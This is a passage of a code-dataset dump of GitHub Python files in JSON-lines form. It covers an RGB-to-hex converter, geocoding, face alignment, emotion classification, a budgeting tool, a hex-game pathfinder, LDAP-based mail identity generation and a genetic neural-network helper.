extrabytes_array[:,3]\n\n writer.write_points(point_record)\n except Exception as e:\n print(\"Error occurred during file initialization:\", e)\n","repo_name":"amosnjenga/pcsrt_python_cli","sub_path":"pcsrt/input_output/write/las.py","file_name":"las.py","file_ext":"py","file_size_in_byte":4877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"35644540860","text":"print(\"#---RGB to HEX Converter---#\")\nprint(\"Range of Inputs: 0-255\")\nwhile(1):\n R = int(input(\"R:\"))\n G = int(input(\"G:\"))\n B = int(input(\"B:\"))\n if R > 255 or R < 0 or G < 0 or G > 255 or G < 0 or B > 255:\n print(\"Bad Inputs Provided!!\")\n else:\n hex_R, hex_G, hex_B = hex(R).split(\"x\"), hex(G).split(\"x\"), hex(B).split(\"x\")\n if len(hex_R[-1])==1:\n hex_R = '0'+hex_R[-1]\n else:\n hex_R = hex_R[-1]\n if len(hex_G[-1])==1:\n hex_G = '0'+hex_G[-1]\n else:\n hex_G = hex_G[-1]\n if len(hex_B[-1])==1:\n hex_B = '0'+hex_B[-1]\n else:\n hex_B = hex_B[-1]\n print(\"Hex: #%s\"%(hex_R+hex_G+hex_B).upper())\n try:\n if(int(input(\"Press 1 to exit \\n\")))==1:\n break\n except ValueError:\n pass","repo_name":"ssingh0110/PythonFunProjects","sub_path":"RGB-HEX/RGB2HEX.py","file_name":"RGB2HEX.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"33351584804","text":"import xml.etree.ElementTree as ET\nfrom inspect import getmembers, isclass, isfunction\n\ntree = ET.parse(\"uartConfig.xml\")\nroot = tree.getroot()\n\n\n#Get coin attribute\ndef createConfig(buadrateValue):\n baudrateElement = ET.Element(\"Baudrate\")\n baudrateElement.text = buadrateValue \n\n root.append(baudrateElement)\n tree.write(\"uartConfig.xml\")\n","repo_name":"Mohammed-AhmedAF/GUIConfigurator","sub_path":"xmlGenerator.py","file_name":"xmlGenerator.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"11607731009","text":"\"\"\"\nmpn_sub_n_small(rp, ap, bp, n)\n\nn in range 1..3 -- size of numbers\n\nsubtract b from a, put result into rp: r := a - b\n\nif no carry occurs, set n to zero. Else set n to 1\n\nrp, ap, bp destroyed\n\"\"\"\n\ng_code = '''\nmovq (ap), w0\nlea 8(ap), ap\nsubq (bp), w0\n.align 32\nloop:\nmovq w0, (rp)\ndec lc\nlea 8(rp), rp\njz done\nmovq (ap), w0\nlea 8(ap), ap\nsbbq 8(bp), w0\nlea 8(bp), bp\njmp loop\ndone:\nadc $0, lc\n'''\n\nimport os, re, sys\nsys.dont_write_bytecode = 1\n\nimport gen_mul4 as P\n\ndef do_it(tgt):\n data = {\n 'macro_name': 'mpn_sub_n_small',\n 'scratch': ['w0 s0'],\n 'vars_type': {'s0': 0},\n 'default_type': 'mp_limb_t',\n 'input_output': ['rp +r r_p', 'ap +r a_p', 'bp +r b_p', 'lc +r n'],\n 'clobber': 'memory cc',\n 'source': os.path.basename(sys.argv[0]),\n 'code_language': 'asm',\n 'macro_parameters': 'r_p a_p b_p n',\n }\n\n all_vars = P.extract_int_vars_name(data['scratch']) + \\\n P.extract_int_vars_name(data['input_output'])\n code = g_code.strip()\n for v in all_vars:\n code = re.sub(r'\\b%s\\b' % v, '%%[%s]' % v, code)\n for i in 'loop', 'done':\n code = re.sub(r'\\b%s\\b' % i, i + '%=', code)\n\n P.write_cpp_code(tgt, code, data)\n\nwith open(sys.argv[1], 'wb') as g_o:\n do_it(g_o)\n","repo_name":"krisk0/broadwell_multiplication","sub_path":"gen_mpn_sub_n_small.py","file_name":"gen_mpn_sub_n_small.py","file_ext":"py","file_size_in_byte":1325,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"69"} +{"seq_id":"12725458563","text":"import requests\nimport json\nimport os\nimport pandas as pd\nfrom queue import Queue\nfrom threading import Thread\nfrom time import time\n\n\nclass Geocoding:\n\n def __init__(self,input_file,output_file):\n\t\n os.chdir('/home/manobhav/PycharmProjects/demonetisation analysis/')\n self.frame = pd.read_csv(input_file)\n #self.frame.head() #Testing\n self.baseurl=\"https://maps.googleapis.com/maps/api/geocode/json?\"\n self.key=\"YOUR_API_KEY\"\n self.q=Queue()\n self.results=[]\n self.outputfile=output_file\n self.startThreads()\n\n\n def getCityNames(self):\n self.cities=self.frame.City[self.frame.City.isnull() == False].unique().tolist()\n for c in self.cities:\n self.q.put(c)\n\n\n def getLongLat(self,i):\n while True:\n print('thread {} running'.format(i))\n resultdict={}\n resultdict['City']=self.q.get()\n payload={'address':resultdict['City'],'key':self.key}\n jsonstring=requests.get(self.baseurl,payload).text\n\n jsondict=json.loads(jsonstring)\n\n if jsondict['status']=='OK':\n resultdict['Lat']=jsondict['results'][0]['geometry']['location']['lat']\n resultdict['Long']=jsondict['results'][0]['geometry']['location']['lng']\n for l in jsondict['results'][0]['address_components']:\n if l['types'][0] == \"administrative_area_level_1\":\n resultdict['State']=l['long_name']\n self.results.append(resultdict)\n print(resultdict)\n self.q.task_done()\n\n\n def startThreads(self):\n ts=time()\n for i in range(4):\n t1=Thread(target=self.getLongLat, args=(i,))\n t1.setDaemon(True)\n t1.start()\n\n self.getCityNames()\n self.q.join()\n print(\"the process took {} seconds\".format(ts-time()))\n self.update_Data()\n\n def update_Data(self):\n\n res=pd.DataFrame(self.results)\n updatedframe=pd.merge(self.frame,res,on='City',how='left',sort=False)\n updatedframe.to_csv(self.outputfile,index=False)\n\n\n\ngeo=Geocoding('Data/demonet.csv','Data/demonetlatlong.csv')\n","repo_name":"manu0b1100/Demonetization_Analysis","sub_path":"Geocoding/Geocoding.py","file_name":"Geocoding.py","file_ext":"py","file_size_in_byte":2212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"24702083510","text":"\nimport cv2\nimport numpy as np\n\n\ndef warp_and_crop_face(src_img, facial_pts, reference_pts=None, crop_size=(112, 112)):\n \n reference_pts = get_reference_facial_points(default_square=True)\n ref_pts = np.float32(reference_pts)\n src_pts = np.float32(facial_pts)\n trans_m = get_similarity_transform_for_cv2(src_pts, ref_pts)\n warpped = cv2.warpAffine(src_img, trans_m, (crop_size[0], crop_size[1]))\n \n return warpped\n\n\ndef get_reference_facial_points(default_square=True):\n tmp_size = np.array([96, 112])\n tmp_5pts = np.array([[30.29459953, 51.69630051],\n [65.53179932, 51.50139999],\n [48.02519989, 71.73660278],\n [33.54930115, 92.36550140],\n [62.72990036, 92.20410156]])\n if default_square:\n size_diff = max(tmp_size) - tmp_size\n tmp_5pts += size_diff / 2\n\n return tmp_5pts\n\ndef get_similarity_transform_for_cv2(src_pts, dst_pts):\n trans, trans_inv = findSimilarity(src_pts, dst_pts)\n #Convert Transform Matrix 'trans' into 'cv2_trans' which could be directly used by cv2.warpAffine()\n cv2_trans = trans[:, 0:2].T\n return cv2_trans\n\n\ndef findSimilarity(uv, xy, options=None):\n options = {'K': 2}\n # Solve for trans1\n trans1, trans1_inv = findNonreflectiveSimilarity(uv, xy, options)\n # Solve for trans2\n # manually reflect the xy data across the Y-axis\n xyR = xy\n xyR[:, 0] = -1 * xyR[:, 0]\n trans2r, trans2r_inv = findNonreflectiveSimilarity(uv, xyR, options)\n # manually reflect the tform to undo the reflection done on xyR\n TreflectY = np.array([\n [-1, 0, 0],\n [0, 1, 0],\n [0, 0, 1]\n ])\n trans2 = np.dot(trans2r, TreflectY)\n # Figure out if trans1 or trans2 is better\n xy1 = tformfwd(trans1, uv)\n norm1 = np.linalg.norm(xy1 - xy)\n xy2 = tformfwd(trans2, uv)\n norm2 = np.linalg.norm(xy2 - xy)\n if norm1 <= norm2:\n return trans1, trans1_inv\n else:\n trans2_inv = np.linalg.inv(trans2)\n return trans2, trans2_inv\n\n \ndef findNonreflectiveSimilarity(uv, xy, options=None):\n options = {'K': 2}\n K = options['K']\n M = xy.shape[0]\n x = xy[:, 0].reshape((-1, 1)) # use reshape to keep a column vector\n y = xy[:, 1].reshape((-1, 1)) # use reshape to keep a column vector\n tmp1 = np.hstack((x, y, np.ones((M, 1)), np.zeros((M, 1))))\n tmp2 = np.hstack((y, -x, np.zeros((M, 1)), np.ones((M, 1))))\n X = np.vstack((tmp1, tmp2))\n u = uv[:, 0].reshape((-1, 1)) # use reshape to keep a column vector\n v = uv[:, 1].reshape((-1, 1)) # use reshape to keep a column vector\n U = np.vstack((u, v))\n # We know that X * r = U\n if np.linalg.matrix_rank(X) >= 2 * K:\n r, _, _, _ = np.linalg.lstsq(X, U)\n r = np.squeeze(r)\n else:\n raise Exception('cp2tform:twoUniquePointsReq')\n sc = r[0]\n ss = r[1]\n tx = r[2]\n ty = r[3]\n Tinv = np.array([\n [sc, -ss, 0],\n [ss, sc, 0],\n [tx, ty, 1]\n ])\n T = np.linalg.inv(Tinv)\n T[:, 2] = np.array([0, 0, 1])\n return T, Tinv\n\n\ndef tformfwd(trans, uv):\n uv = np.hstack((\n uv, np.ones((uv.shape[0], 1))\n ))\n xy = np.dot(uv, trans)\n xy = xy[:, 0:-1]\n return xy\n\n","repo_name":"littleTT0704/DeceptionDetection","sub_path":"face_detection/RetinaFace/face_align.py","file_name":"face_align.py","file_ext":"py","file_size_in_byte":3262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"34581191988","text":"import pathlib\nfrom typing import Any, Dict, List, Optional, cast\n\nimport tensorflow as tf\nfrom tensorflow.python.training.tracking.tracking import AutoTrackable\n\nfrom determined import experimental\nfrom determined.keras import TFKerasTrial\n\n\ndef load_model(\n ckpt_dir: pathlib.Path, metadata: Dict[str, Any], tags: Optional[List[str]] = None\n) -> AutoTrackable:\n save_format = metadata.get(\"format\", None)\n\n # Tensorflow 1 favors saved_models for tf.estimators and h5 for tf.keras\n # models. Tensorflow is moving towards saved_model for both high level\n # APIs in tf.2.\n if not save_format or cast(str, save_format) == \"saved_model\":\n return load_saved_model(ckpt_dir, tags=tags)\n\n elif save_format == \"h5\":\n trial_cls, trial_context = experimental._load_trial_on_local(\n ckpt_dir.joinpath(\"code\"),\n training=False,\n config=metadata[\"experiment_config\"],\n hparams=metadata[\"hparams\"],\n )\n\n trial = cast(TFKerasTrial, trial_cls(trial_context))\n model = trial.build_model()\n model.load_weights(str(ckpt_dir.joinpath(\"determined-keras-model.h5\")))\n return model\n else:\n raise AssertionError(\"Unknown checkpoint format at {}\".format(str(ckpt_dir)))\n\n\ndef load_saved_model(ckpt_dir: pathlib.Path, tags: Optional[List[str]] = None) -> AutoTrackable:\n saved_model_paths = list(ckpt_dir.glob(\"**/saved_model.pb\"))\n\n if len(saved_model_paths) > 1:\n raise AssertionError(\n \"Checkpoint directory {} contains multiple \\\n nested saved_model.pb files: {}\".format(\n ckpt_dir, saved_model_paths\n )\n )\n\n # Tensorflow uses tags to determine which metagraph to load. Most\n # commonly, users will attempt to serve or otherwise use the model for\n # inference. Therefore we default to the serve graph tag which disables\n # operations that are only relevant for training.\n if tags is None:\n print('No tags specified. Loading \"serve\" tag from saved_model.')\n tags = [\"serve\"]\n\n saved_model_path = saved_model_paths[0]\n return tf.compat.v1.saved_model.load_v2(str(saved_model_path.parent), tags)\n","repo_name":"Allensmile/determined","sub_path":"common/determined_common/experimental/checkpoint/_tf.py","file_name":"_tf.py","file_ext":"py","file_size_in_byte":2199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"71"} +{"seq_id":"17969379345","text":"'''\nData set introduction\nThe data consists of 48x48 pixel grayscale images of faces\n0=Angry, 1=Disgust, 2=Fear, 3=Happy, 4=Sad, 5=Surprise, 6=Neutral\nThe faces have been automatically registered so that the face is more or less centered\nand occupies about the same amount of space in each image\n'''\n# https://medium.com/@jsflo.dev/training-a-tensorflow-model-to-recognize-emotions-a20c3bcd6468\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.svm import SVC\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.metrics import classification_report, confusion_matrix\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.tree import export_graphviz, plot_tree\nfrom sklearn.neural_network import MLPClassifier\nfrom subprocess import call\n\ndef main():\n ''' ### Read csv data '''\n df = pd.read_csv('fer2013\\\\train.csv')\n print(\"There are total \", len(df), \" sample in the loaded dataset.\")\n print(\"The size of the dataset is: \", df.shape)\n # get a subset of the whole data for now\n df = df.sample(frac=0.1, random_state=46)\n print(\"The size of the dataset is: \", df.shape)\n\n\n\n ''' Extract images and label from the dataframe df '''\n width, height = 48, 48\n images = df['pixels'].tolist()\n faces = []\n for sample in images:\n face = [int(pixel) for pixel in sample.split(' ')] # Splitting the string by space character as a list\n face = np.asarray(face).reshape(width*height) # convert pixels to images and # Resizing the image\n faces.append(face.astype('float32') / 255.0) # Normalization\n faces = np.asarray(faces)\n\n # Get labels\n y = df['emotion'].values\n\n\n class_names = ['Angry', 'Disgust', 'Fear', 'Happy', 'Sad', 'Surprise', 'Neutral']\n # Visualization a few sample images\n plt.figure(figsize=(5, 5))\n for i in range(6):\n plt.subplot(2, 3, i+1)\n plt.xticks([])\n plt.yticks([])\n plt.grid(False)\n plt.imshow(np.squeeze(faces[i].reshape(width, height)), cmap='gray')\n plt.xlabel(class_names[y[i]])\n plt.show()\n\n ## Split data into training and test sets\n X_train, X_test, y_train, y_test = train_test_split(faces, y, test_size=0.40, random_state=46)\n print(X_train.shape, X_test.shape, y_train.shape, y_test.shape)\n\n allModels = []\n \n allModels.append(makeDecisionTreeClassifer(X_train, y_train))\n allModels.append(makeRandomForest(X_train, y_train))\n allModels.append(makeNaieveBayes(X_train, y_train))\n allModels.append(makeNeuralNetwork(X_train, y_train))\n\n for model in allModels:\n print(\"Predicting values with model: \" + str(type(model)))\n\n # Now that our classifier has been trained, let's make predictions on the test data. To make predictions, the predict method of the DecisionTreeClassifier class is used.\n y_pred = model.predict(X_test)\n\n # For classification tasks some commonly used metrics are confusion matrix, precision, recall, and F1 score.\n # These are calculated by using sklearn's metrics library contains the classification_report and confusion_matrix methods\n print(confusion_matrix(y_test, y_pred))\n print(classification_report(y_test, y_pred))\n\ndef makeSVCClassifier(X_train, y_train):\n svclassifier = SVC(kernel='linear')\n\n svclassifier.fit(X_train, y_train)\n\n return svclassifier\n\ndef makeDecisionTreeClassifer(X_train, y_train):\n dtc = DecisionTreeClassifier(max_leaf_nodes=30, random_state=0, max_depth=6)\n\n dtc.fit(X_train, y_train)\n\n tree = dtc.tree_\n\n plt.figure(figsize=(24, 12))\n plot_tree(dtc, fontsize=6, rounded=True)\n plt.savefig('decisiontree.png', bbox_inches=\"tight\")\n\n return dtc\n\ndef makeRandomForest(X_train, y_train):\n rfc = RandomForestClassifier(n_estimators=5, max_leaf_nodes=50, random_state=0)\n\n rfc.fit(X_train,y_train)\n\n plt.figure(figsize=(24, 12))\n print(len(rfc.estimators_))\n for i in range(5):\n plot_tree(rfc.estimators_[i], fontsize=6, rounded=True)\n plt.savefig(f'randomforesttree{i}.png', bbox_inches=\"tight\")\n\n return rfc\n\ndef makeNaieveBayes(X_train, y_train):\n gnb = GaussianNB()\n\n gnb.fit(X_train, y_train)\n\n return gnb\n\ndef makeNeuralNetwork(X_train, y_train):\n nn = MLPClassifier(alpha=.001, hidden_layer_sizes=(5, 2), random_state=1)\n\n nn.fit(X_train, y_train)\n\n return nn\n\nmain()","repo_name":"CrispyCabot/AITermProject-EmotionDetection","sub_path":"EmotionRecognition.py","file_name":"EmotionRecognition.py","file_ext":"py","file_size_in_byte":4492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"28855712597","text":"#!./Earn_venv/bin/python\n\n\"\"\"\n\nMain file to run all the process\n\n\"\"\"\nfrom modules.data_collecting.user_input import family_questions_answers\nfrom modules.family_outcome_analysis.family_outcome_an import BasicOutgoings\nfrom modules.data_comparing.compare_data import CompareBasicReal\nfrom modules.data_collecting.family import FamilyPercent\nfrom modules.less_money_cases.less_money_cases import Cases\nfrom modules.bank import *\nfrom modules.stocker import stock_result_top_10\n\n\ndef use_cases_spend_less_money(too_much_money_spend, fam):\n \"\"\"\n Function to show user where and how he/she can save money\n :param too_much_money_spend: dictionary\n :param fam: Family\n :return: str, dict\n \"\"\"\n\n savings = None\n case = Cases(fam)\n # dictionary\n savings = case.get_all_possible_savings()\n # text\n advise = 'Ви можете заощаджувати, користуючись такими правилами: \\n' + \\\n case.get_all_cases()\n return advise, savings\n\n\ndef count_general_savings(family_money_box):\n \"\"\"\n Return general sum of savings\n :return:float\n \"\"\"\n general_summary = 0\n for key, val in family_money_box.items():\n if isinstance(val, dict):\n for v in val.values():\n general_summary += v\n else:\n # if < 0 -> family spend money on it correctly, even they have\n # some savings that are equal to val\n if val > 0:\n general_summary += val\n return round(general_summary, 2)\n\n\ndef print_family_general_savings(family_money_box):\n \"\"\"\n Print data for user where and how you have to save money\n :param family_money_box: dict\n :return: None\n \"\"\"\n res = ''\n check = 0\n\n for key, val in family_money_box.items():\n if isinstance(val, dict):\n res += key + ':\\n'\n for k, v in val.items():\n res += '\\t' + k + ': ' + str(v) + '\\n'\n elif val > 0:\n if check == 0:\n res += 'Бажано на цю суму менше витрачати грошей на такі ' \\\n 'категорії:\\n'\n check = 1\n res += key + ': ' + str(val) + '\\n'\n print(res)\n\n\ndef main():\n \"\"\"\n Main function to run all the process\n :return: None\n \"\"\"\n # Get and print data frm user\n family = family_questions_answers()\n # print(family) # Family\n\n while family.check_gen_income():\n print(\n '\\nУ вашої сім\\'ї дохід не досягає прожиткового мінімуму. '\n 'Будь ласка, введіть коректну інформацю:\\n')\n family = family_questions_answers()\n\n # data analysis - real and basic percentage\n basic_family_outgoings = BasicOutgoings(family.members)\n # print(basic_family_outgoings) # BasicOutgoings\n\n real_family_outgoings = FamilyPercent(\n family.get_fam_outdoings_in_percents(), family.members)\n print()\n print(real_family_outgoings) # FamilyPercent\n\n real_basic_difference = CompareBasicReal(basic_family_outgoings,\n real_family_outgoings)\n too_much_money_spend, res = real_basic_difference.create_advise()\n # print(real_basic_difference) # CompareBasicReal\n # print data about family outgoings - where too much\n print(res) # okay\n\n # calculation and giving pieces of advise\n # cases to spend less money\n family.saved_percentage_to_UAH(real_basic_difference.all_outgoings,\n real_basic_difference.outgoing_names)\n\n advise_str, dict_savings = use_cases_spend_less_money(\n too_much_money_spend, family)\n print(advise_str) # okay\n # print('dict_savings', dict_savings) # okay\n\n # update money_box with savings from dict_saving\n family.family_money_box.update(dict_savings)\n # print('family_money_box', family.family_money_box) # okay\n print_family_general_savings(family.family_money_box)\n\n # general sum that can be saved because of our program\n general_sum = count_general_savings(family.family_money_box)\n\n # DO MAGIC WITH SAVED SUM\n print('Вітаємо!\\n{} - це гроші, які ви можете накопичити за місяць часу, '\n 'якщо будете дотримуватись правил збереження та вкладання коштів '\n '- вкладання прибутку у ресурси, які приносять додаткові '\n 'кошти. *(в суму враховано кошти, які ви заощаджуєте щомісяця, '\n 'а також не витрачені кошти)'\n '\\n\\nРекомендуємо Вам переглянути ресурси для '\n 'вкладів:\\n'.format(general_sum))\n\n # give data about banks\n print(\"Рейтинг банківських компаній: \")\n # for future it will be in EUR, USD, now UAH\n b = BankType(general_sum)\n a = b.banks_processing()\n a = sorted(a, key=lambda x: x.index)[::-1][:5]\n\n for each in a:\n try:\n print(each)\n except TypeError:\n continue\n\n # give data of stock market\n print(\"\\n\\nУ вашому браузері, ви можете побачити 10 графіків, \"\n \"які показують \"\n \"поведінку акцій на Міжнародній Фондовій Біржі. Передбачення акцій \"\n \"'TOП 10' компаній складені на рік вперед.\\nEarn Save Invest \"\n \"рекомендує вам компанії, у які вигідно вкладати кошти протягом \"\n \"місяця.\\nДані про компанії оновлюються щодня о 13:00\")\n stock_result_top_10()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"SOFIAshyn/BaseProgramming_course_Earn_Save_Invest","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5983,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"20511394373","text":"from pkg.ai.pathfinders import Node, to_nodes\nfrom pkg.constants.game import PLAYER_ONE, PLAYER_TWO, PLAYER_NONE\nfrom pkg.models.board import Board\n\n\ndef build_path(to_node: Node):\n path = []\n while to_node is not None:\n path.append((to_node.x(), to_node.y()))\n to_node = to_node.get_previous()\n return path\n\n\nclass BasicPathfinder:\n _board: Board = None\n _walk_only_by_own_cells: bool = False\n\n def __init__(self, board, walk_only_by_own_cells=False):\n if type(self) == BasicPathfinder:\n raise Exception('Can\\'t instantiate BasicPathfinder')\n self._board = board\n self._walk_only_by_own_cells = walk_only_by_own_cells\n\n def choose_node(self, nodes, dst_node: Node):\n return nodes[0]\n\n def find_path(self, for_player, src_x, src_y, dst_x, dst_y):\n board = self._board\n dst_node = Node(dst_x, dst_y)\n opponent = PLAYER_ONE if for_player == PLAYER_TWO else PLAYER_TWO\n exclude_players = [opponent, PLAYER_NONE] if self._walk_only_by_own_cells else [opponent]\n reachable = [Node(src_x, src_y)]\n explored = []\n\n while len(reachable) > 0:\n node = self.choose_node(reachable, dst_node)\n if node == dst_node:\n return build_path(node)\n\n reachable.remove(node)\n explored.append(node)\n\n cells = board.get_cell_neighbors(node.x(), node.y(), exclude_players=exclude_players)\n new_reachable = [n for n in filter(lambda n: n not in explored, to_nodes(cells))]\n\n next_cost = node.get_cost() + 1\n for adjacent in new_reachable:\n if adjacent not in reachable:\n reachable.append(adjacent)\n\n if next_cost < adjacent.get_cost():\n adjacent.set_previous(node)\n adjacent.set_cost(next_cost)\n\n return []\n","repo_name":"vodchella/pyhex","sub_path":"pkg/ai/pathfinders/basic.py","file_name":"basic.py","file_ext":"py","file_size_in_byte":1903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"19915416806","text":"#!/usr/bin/env python3\nimport argparse\nimport json\nimport os.path\n\nimport signature\nimport mailboxes\n\n\nFILE_PATH = os.path.dirname(os.path.abspath(__file__))\ndebug = False\n\n\ndef get_sogo_identities(user):\n \"\"\"\n :param user:\n :return:\n [\n {\n \"email\": \"user@example.net\",\n \"isDefault\": 1,\n \"fullName\": \"The Test User\",\n \"signature\": \"Greetings from iRedMail\"\n }\n ]\n \"\"\"\n with open('{}/config.json'.format(FILE_PATH), 'r') as read_file:\n config = json.load(read_file)\n\n ldap_user, ldap_groups = mailboxes.get_user_mailboxes(user, config['ldap'], verify_cert=not debug)\n identities = []\n for mailbox_name in ldap_user['proxyAddresses']:\n identity = {\n 'email': mailboxes.get_longest_alias(mailbox_name, ldap_user['url']),\n 'isDefault': 1 if ldap_user['otherMailbox'] == mailbox_name else 0,\n 'fullName': ldap_user['displayName'],\n 'signature': signature.get_signature(mailbox_name, user),\n }\n identities.append(identity)\n\n shared_mailboxes = [mailbox for mailbox in ldap_groups if mailbox['sAMAccountName'].startswith('mail_box-')]\n for mailbox in shared_mailboxes:\n identity = {\n 'email': mailbox['mail'],\n 'isDefault': 0,\n 'fullName': mailbox['displayName'] if mailbox['displayName'] else mailbox['mail'],\n 'signature': signature.get_signature(mailbox['mail'], user),\n }\n identities.append(identity)\n return identities\n\n\ndef get_thunderbird_identities(user, config, cached_indices, start_index):\n ldap_user, ldap_groups = mailboxes.get_user_mailboxes(user, config['ldap'], verify_cert=not debug)\n next_index = mailboxes.get_next_index(cached_indices, start_index)\n identities = []\n for mailbox in ldap_user['proxyAddresses']:\n mailbox_domain = mailbox.split('@')[1]\n group_lookup = [mailbox for mailbox in ldap_groups\n if mailbox['sAMAccountName'] == 'mail_user-{}'.format(mailbox_domain)]\n if not len(group_lookup): # The mail-domain no longer exists but the user record has not been updated\n continue\n\n mail_address = mailboxes.get_longest_alias(mailbox, ldap_user['url'])\n cache, next_index = mailboxes.get_index(cached_indices, next_index, mail_address)\n folder_path = '' if not config['mail']['mailbox_domain_folders'] or \\\n config['mail']['dns_domain'] == mailbox_domain else 'INBOX/{}'.format(mailbox_domain),\n identity = {\n 'index': cache['index'],\n 'mail_address': mail_address,\n 'is_default': ldap_user['otherMailbox'] == mailbox,\n 'full_name': ldap_user['displayName'],\n 'organization': group_lookup[0]['info'],\n 'signature': signature.get_signature(mailbox, user).replace('\"', '\\\\\"'),\n 'folder_path': folder_path,\n 'aliases': [alias for alias in ldap_user['url'] if alias.split('@')[1] == mailbox_domain],\n }\n identities.append(identity)\n\n shared_mailboxes = [mailbox for mailbox in ldap_groups if mailbox['sAMAccountName'].startswith('mail_box-')]\n for mailbox in shared_mailboxes:\n mailbox_user, mailbox_domain = mailbox['mail'].split('@')\n cache, next_index = mailboxes.get_index(cached_indices, next_index, mailbox['mail'])\n identity = {\n 'index': cache['index'],\n 'mail_address': mailbox['mail'],\n 'is_default': False,\n 'full_name': mailbox['displayName'] if mailbox['displayName'] else mailbox['mail'],\n 'organization': mailbox['info'] if mailbox['displayName'] else '',\n 'signature': signature.get_signature(mailbox['mail'], user).replace('\"', '\\\\\"'),\n # extensions.folderaccount.replyToOnReplyForward.imap://kvv@strauss.composers.lan/shared/cvanvloten.nl/sysadmin/INBOX\n 'folder_path': '{}/{}/{}/INBOX'.format(config['mail']['namespace_shared'], mailbox_domain, mailbox_user),\n 'aliases': [],\n }\n identities.append(identity)\n return identities\n\n\ndef main(argv=None):\n parser = argparse.ArgumentParser()\n parser.add_argument('-u', '--user', dest='user', required=True)\n parser.add_argument('-t', '--type', dest='type', required=True, choices={'sogo', 'thunderbird'})\n args = parser.parse_args(argv)\n if args.type == 'sogo':\n # Used by: server_mail/mailconfig/h_user_identities_get.yml\n print(json.dumps(get_sogo_identities(args.user)))\n elif args.type == 'thunderbird':\n # Not currently used, except for testing purposes\n with open('{}/config.json'.format(FILE_PATH), 'r') as read_file:\n config = json.load(read_file)\n\n start_index = 100\n cached_data = mailboxes.read_cache(config, args.user)\n print(json.dumps(get_thunderbird_identities(args.user, config, cached_data['identities'], start_index)))\n mailboxes.write_cache(config, args.user, cached_data)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"kvvloten/samba_integrations","sub_path":"mail/thunderbird_config/mailconfig/wsgi/identities.py","file_name":"identities.py","file_ext":"py","file_size_in_byte":5108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"71917741990","text":"# 图片的缩放\nimport cv2\nimport numpy as np\n\nimg = cv2.imread(\"girl.jpg\", 1)\n\nimgInfo = img.shape\nheight = imgInfo[0]\nwidth = imgInfo[1]\nmode = imgInfo[2]\n\n# 1放大 缩小 2 等比例 非\ndstHeight = int(height * 0.5)\ndstWidth = int(width * 0.5)\n\n# 最近临域插值 双线性临域插值 像素关系重采样 立方插值\ndst = cv2.resize(img, (dstWidth, dstHeight))\n\n# 最近临域插值\ndst2 = np.zeros((dstHeight, dstWidth, 3), np.uint8)\nfor i in range(0, dstHeight):\n for j in range(0, dstWidth):\n iNew = int(i << 1)\n jNew = int(j << 1)\n dst2[i, j] = img[iNew, jNew]\n\n# 窗口显示图片\ncv2.imshow(\"dst\", dst)\ncv2.imshow(\"dst2\", dst2)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n","repo_name":"AyaReiOwO/LHC","sub_path":"3-resize.py","file_name":"3-resize.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"39979016021","text":"\r\nimport random\r\nimport math\r\nimport csv\r\nimport config\r\nimport NeuralNetwork as NN\r\n\r\ndef expectedDnaLength(noInput, noHidden, noHiddenLayers, noOutput):\r\n requestedLength = noInput + noInput # Input Layer\r\n requestedLength += noInput * noHidden + (noHidden) # First hidden layer\r\n requestedLength += (noHiddenLayers - 1) * noHidden * noHidden + ((noHiddenLayers - 1) * noHidden) # Rest of the hidden layers\r\n requestedLength += noOutput * noHidden + (noOutput) # Output Layer\r\n return requestedLength\r\n\r\nclass DNA:\r\n def __init__(self):\r\n self.mutationRate = 0.005\r\n\r\n def extractFromDNA(self, DNA, noInput, noHidden, noHiddenLayers, noOutput):\r\n if config.ENABLE_CHECKS:\r\n requestedLength = expectedDnaLength(noInput, noHidden, noHiddenLayers, noOutput)\r\n assert requestedLength == len(DNA), \"DNA and requested lengths are not equal\"\r\n nxtIndex = 0\r\n\r\n # Input layer\r\n wInput = DNA[nxtIndex:nxtIndex+noInput]\r\n nxtIndex += noInput\r\n wBiasInput = DNA[nxtIndex:nxtIndex + noInput]\r\n nxtIndex += noInput\r\n\r\n wHidden = []\r\n wBiasHidden = []\r\n\r\n # First hidden layer\r\n wHidden.extend(DNA[nxtIndex:nxtIndex + noInput*noHidden])\r\n nxtIndex += noInput*noHidden\r\n wBiasHidden.extend(DNA[nxtIndex:nxtIndex + noHidden])\r\n nxtIndex += noHidden\r\n\r\n # Rest of the hidden layers\r\n for h in range(1,noHiddenLayers):\r\n wHidden.extend(DNA[nxtIndex:nxtIndex + noHidden*noHidden])\r\n nxtIndex += noHidden*noHidden\r\n\r\n wBiasHidden.extend(DNA[nxtIndex:nxtIndex + noHidden])\r\n nxtIndex += noHidden\r\n\r\n wOutput = DNA[nxtIndex:nxtIndex + noHidden*noOutput]\r\n nxtIndex += noHidden*noOutput\r\n\r\n wBiasOutput = DNA[nxtIndex:nxtIndex + 